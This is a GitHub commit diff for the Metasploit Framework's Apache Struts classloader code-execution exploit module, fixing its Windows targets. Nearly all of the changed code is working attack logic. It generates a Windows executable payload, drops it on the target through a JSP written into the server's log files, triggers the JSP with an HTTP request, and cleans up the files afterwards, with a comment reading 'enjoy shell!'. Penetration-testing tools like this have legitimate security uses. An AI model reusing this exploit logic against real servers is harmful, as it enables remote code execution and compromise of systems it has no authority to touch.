Skip to content

Commit 3e09283

Browse files
committed
Land rapid7#3777 - Fix struts_code_exec_classloader on windows
2 parents ceaf1d6 + 373eb3d commit 3e09283

File tree

1 file changed

+27
-6
lines changed

1 file changed

+27
-6
lines changed

modules/exploits/multi/http/struts_code_exec_classloader.rb

Lines changed: 27 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -150,6 +150,8 @@ def fix(jsp)
150150
output << l
151151
elsif l =~ /<%/
152152
next
153+
elsif l=~ /%>/
154+
next
153155
elsif l.chomp.empty?
154156
next
155157
else
@@ -163,10 +165,18 @@ def create_jsp
163165
if target['Arch'] == ARCH_JAVA
164166
jsp = fix(payload.encoded)
165167
else
166-
payload_exe = generate_payload_exe
168+
if target['Platform'] == 'win'
169+
payload_exe = Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, "exe-small", {:arch => target.arch, :platform => target.platform})
170+
else
171+
payload_exe = generate_payload_exe
172+
end
167173
payload_file = rand_text_alphanumeric(4 + rand(4))
168174
jsp = jsp_dropper(payload_file, payload_exe)
169-
register_files_for_cleanup(payload_file)
175+
if target['Platform'] == 'win' && target['Arch'] == ARCH_X86
176+
register_files_for_cleanup("../webapps/ROOT/#{payload_file}")
177+
else
178+
register_files_for_cleanup(payload_file)
179+
end
170180
end
171181

172182
jsp
@@ -193,12 +203,16 @@ def exploit
193203

194204
# Check if the log file exists and has been flushed
195205

196-
if check_log_file(normalize_uri(target_uri.to_s))
197-
register_files_for_cleanup(@jsp_file)
198-
else
206+
unless check_log_file(normalize_uri(target_uri.to_s))
199207
fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed")
200208
end
201209

210+
if target['Platform'] == 'win' && target['Arch'] == ARCH_X86
211+
register_files_for_cleanup("../webapps/ROOT/#{@jsp_file}")
212+
else
213+
register_files_for_cleanup(@jsp_file)
214+
end
215+
202216
# Prepare the JSP
203217
print_status("#{peer} - Generating JSP...")
204218
jsp = create_jsp
@@ -213,7 +227,9 @@ def exploit
213227
end
214228

215229
# Check log file... enjoy shell!
216-
check_log_file(random_request)
230+
unless target['Arch'] == ARCH_JAVA
231+
check_log_file(random_request)
232+
end
217233

218234
# No matter what happened, try to 'restore' the Class Loader
219235
properties = {
@@ -223,6 +239,11 @@ def exploit
223239
:file_date_format => ''
224240
}
225241
modify_class_loader(properties)
242+
243+
if target['Arch'] == ARCH_JAVA
244+
send_request_cgi({ 'uri' => normalize_uri("/", @jsp_file) })
245+
end
246+
226247
end
227248

228249
end

0 commit comments

Comments
 (0)